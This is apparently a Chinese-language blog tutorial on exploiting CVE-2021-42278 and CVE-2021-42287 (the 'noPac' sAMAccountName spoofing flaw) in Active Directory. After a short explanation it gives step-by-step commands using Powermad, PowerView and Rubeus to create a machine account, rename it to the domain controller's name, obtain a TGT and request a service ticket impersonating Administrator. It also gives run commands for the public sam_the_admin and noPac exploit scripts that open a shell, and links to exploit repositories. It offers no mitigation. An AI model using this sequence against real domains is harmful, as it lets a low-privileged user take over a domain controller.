漏洞简介
CVE-2021-42278
一般来说,机器账号的名字应该以$
符号结尾的。例如DC$
表示DC
这台主机的账户名。但是微软只是进行了规定,并没有验证程序对用户创建的用户名进行验证,也就是说,创建DC
用户名完全是可以的。(这里指的是机器账号的sAMAccountName
属性)
CVE-2021-42287
结合上面那个漏洞,如果创建了一个用户名为DC
的账户,此时使用这个账户去申请一张TGT
票据,然后在申请ST
之前,将这个账户名修改掉或者删除掉,那么在进行申请ST
的时候,KDC
在进行验证时就查不到这个账户,此时KDC
就会去查找DC$
这个账户,如果这个账户存在的话,最终返回的就是DC$
这个账户申请的ST
。也就相当于获取到了域控账户申请的高权限服务票据。
漏洞复现
漏洞利用步骤
首先需要一个域内用户,然后提权至域管,接管域控。步骤如下
- 创建一个机器账户
- 清除机器账户的
SPN
- 修改机器账户的
sAMAccountName
属性值 - 使用机器账户请求
TGT
- 再次修改机器账户的
sAMAccountName
属性值 - 获取高权限
ST
票据
使用 Powermad 创建一个新的机器账户,
syyu$
当申请一个机器账户
MachineCount
时,SPN
会自动注册
1 | New-MachineAccount -MachineAccount syyu -Domain hacker.me -DomainController dc.hacker.me -Verbose |
使用 PowerSploit 下的 PowerView 工具 ,进行清除
1 | Import-Module .\PowerView.ps1 |
将 sAMAccountName 改为域控的机器账号名
1 | Nslookup -type=SRV _ldap._tcp // 查询 域控的主机名 |
1 | // sAMAccountName 改为域控的机器账号名 |
使用更改后的机器名申请TGT票据,利用 Rubeus 完成请求
1 | Rubeus.exe asktgt /user:dc /password:p@ssWord /domain:hacker.me /dc:dc.hacker.me /nowrap |
samaccountname
重置会原本的用户名或改为其他域内不存在账户
1 | Set-MachineAccountAttribute -MachineAccount syyu -Value "syyu$" -Attribute samaccountname -Verbose |
在采用刚刚获取到的
TGT
进行S4U2self
请求来获取域控ST
票据(这个过程KDC
会去查找samaccountname
,由于刚才MachineCount
的samaccountname
为dc
,所以KDC
回去查找这个dc
,此时由于已经将MachineCount
的samaccountname
所更改,KDC
查找不到dc
就会在后面加上$
符去寻找,此时找到的就为域控的dc$
,并将它的ST
票据返回)
1 | Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/dc.hacker.me" /dc:"dc.hacker.me" /ptt /ticket:[TGT值] |
此时,我们便获取了DC
的ST
票据
poc使用
sam_the_admin
1 | python3 sam_the_admin.py "god/liukaifeng01:hongrisec@2021@" -dc-ip 192.168.52.138 -shell |
noPac_python
1 | pip3 install impacket |
1 | python3 noPac.py redteam/saul:'admin!@#45' -dc-ip 10.10.10.8 -dc-host owa -shell --impersonate administrator |
参考链接
https://blog.csdn.net/FHLZLHQ/article/details/121964692
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://sairson.cn/index.php/archives/45/
poc
https://github.com/WazeHell/sam-the-admin
https://github.com/Ridter/noPac
https://github.com/cube0x0/noPac
https://github.com/ricardojba/Invoke-noPac
tools
https://github.com/Kevin-Robertson/Powermad